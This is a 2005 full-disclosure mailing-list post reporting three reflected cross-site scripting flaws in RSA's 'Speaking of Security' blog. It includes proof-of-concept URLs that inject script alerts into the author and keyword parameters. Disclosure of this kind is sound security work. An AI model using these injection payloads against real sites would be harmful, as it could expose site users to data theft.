To: full-disclosure@lists.grok.org.uk
Date: Sun, 14 Aug 2005 18:01:50 -0400
Organization: Rodrigo Gutierrez Security Consulting
Subject: [Full-disclosure] RSA XSS Vulnerabilities
Reply-To: rodrigo@rgsc.cl

RSA XSS Vulnerabilities

Author: Rodrigo Gutierrez

Affected: RSA "Speaking of Security" Blog

Status: Notified Hereby

Vendor url: http://www.rsasecurity.com

Background.

RSA secures more than 15 million user identities, safeguards trillions of business transactions annually and manages the confidentiality of data in tens of thousands of applications worldwide. 3 cross site scripting vulnerabilities has been discovered in their Blog "Speaking of Security" ;) .

Impact

An attacker could gather data from the blog's users by fooling them, to access the modified vulnerable application.

Proof of Concept

http://www.rsasecurity.com/blog/index.asp?author=%22%3E%3Cscript%3Ealert('XS S');%3C/script%3E
http://www.rsasecurity.com/blog/index.asp?keyword=%22%3E%3Cscript%3Ealert('X SS');%3C/script%3E
http://www.rsasecurity.com/blog/bio.asp?author=%22%3E%3Cscript%3Ealert('XSS' );%3C/script%3E

Just for the picture ;)
http://www.rsasecurity.com/blog/index.asp?author=%52%6f%64%72%69%67%6f%20%47 %75%74%69%65%72%72%65%7a
http://www.rsasecurity.com/blog/index.asp?keyword=%52%6f%64%72%69%67%6f%20%4 7%75%74%69%65%72%72%65%7a

Speaking of Security

RSA should spend some of those $307.5 million they earned in 2004 to audit their web applications.


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